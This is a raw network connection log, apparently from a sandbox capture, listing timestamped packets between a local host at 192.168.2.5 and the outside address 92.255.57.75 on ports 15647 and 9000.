Dec 17, 2024 08:40:10.991990089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.011292934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.017949104 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.018312931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.018323898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.018431902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.033700943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.034210920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.042607069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.042777061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.043019056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.044336081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.046164989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.063119888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.063132048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.063302040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.069623947 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.071815968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.083878040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.087860107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.095149040 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.095165968 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.095278978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.107815981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.111859083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.118144035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.118156910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.118257999 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.131169081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.132025957 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.139749050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.140192032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.140256882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.140302896 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.162832975 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.162925005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.163784027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.163795948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.163979053 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.183108091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.183320045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.199434996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.199492931 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.202517986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.202651024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.202716112 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.215001106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.215337038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.216365099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.216376066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.216435909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.247272968 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.251858950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.252233982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.254842997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.254921913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.261539936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.261687994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.261734009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.284917116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.284977913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.285111904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.310178041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.310245991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.319283962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.319417000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.323247910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.323849916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.324238062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.324486017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.342642069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.346225023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.347883940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.367100000 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.367114067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.367337942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.367950916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.368561029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.374701977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.374933004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.389791965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.389847994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.389851093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.407253027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.407335997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.426835060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.426898003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.426955938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.439307928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.439912081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.444000006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.446491957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.446531057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.446576118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.462521076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.463869095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.476933956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.477008104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.477658033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.477704048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.477741003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.477849007 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.488365889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.488451004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.495021105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.495089054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.507714033 CET	9000	50028	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.507844925 CET	9000	50028	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.507934093 CET	50028	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.508006096 CET	50028	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.511367083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.514175892 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.529059887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.529151917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.529304028 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.530596018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.534231901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.547997952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.548041105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.548157930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.566653013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.569947004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.573514938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.574188948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.596555948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.596889973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.596909046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.598958015 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.599050045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.599087000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.614890099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.617899895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.620135069 CET	50032	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.627676010 CET	9000	50028	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.631259918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.634155989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.649147987 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.650087118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.650623083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.650700092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.650701046 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.654062033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.668149948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.670280933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.672760010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.672847986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.690403938 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.690531015 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.693078041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.693098068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.693137884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.701577902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.701740980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.716504097 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.716569901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.719187021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.719342947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.721225023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.721302986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.721487999 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.739883900 CET	9000	50032	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.740072966 CET	50032	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.740185976 CET	50032	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.753954887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.754136086 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.770390034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.770469904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.775655985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.775937080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.782939911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.783061028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.783076048 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.792656898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.792721033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.812823057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.820636034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.820727110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.820801020 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.836298943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.836370945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.841144085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.841202021 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.842331886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.842390060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.859968901 CET	9000	50032	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.862366915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.879911900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.881767988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.883846045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.895668030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.895823956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.908662081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.911847115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.930352926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.940629005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.943833113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.946111917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.946197033 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.960957050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.962587118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.964808941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.964900017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.982248068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.982321024 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.993707895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.993765116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.993983030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.994061947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.995273113 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.995328903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:11.999722958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:11.999790907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.009500980 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.009558916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.009627104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.028426886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.031842947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.051410913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.051809072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.052968025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.053019047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.053071976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.054627895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.054682970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.054683924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.066045046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.067802906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.082428932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.083801031 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.087891102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.087973118 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.088069916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.089400053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.111327887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.111368895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.111459017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.119538069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.131757021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.132440090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.132533073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.133719921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.171627998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.174412012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.174825907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.184169054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.187849045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.205787897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.205840111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.205980062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.223985910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.224003077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.224118948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.243815899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.247864962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.293417931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.294300079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.294414997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.294567108 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.307600021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.307691097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.315304041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.315387011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.315402985 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.315452099 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.316863060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.317413092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.317451954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.317471981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.317487001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.343847990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.347861052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.356102943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.356116056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.356187105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.357520103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.381483078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.381503105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.381578922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.416883945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.416930914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.417004108 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.418520927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.435267925 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.435305119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.435328960 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.444801092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.445455074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.476119995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.486898899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.487814903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.507363081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.507540941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.529606104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.548031092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.548101902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.560089111 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.560178041 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.627252102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.627392054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.659828901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.659903049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.687329054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.709402084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.728872061 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.740078926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.742131948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.742614031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.742703915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.742746115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.744199991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.779803038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.780044079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.793802977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.795094013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.807354927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.807447910 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.829593897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.829857111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.842082024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.843833923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.848934889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.891922951 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.900093079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.901395082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.909656048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.910674095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.927395105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.927822113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.951004982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.963701010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:12.963778019 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:12.993307114 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:13.011890888 CET	15647	49998	92.255.57.75	192.168.2.5
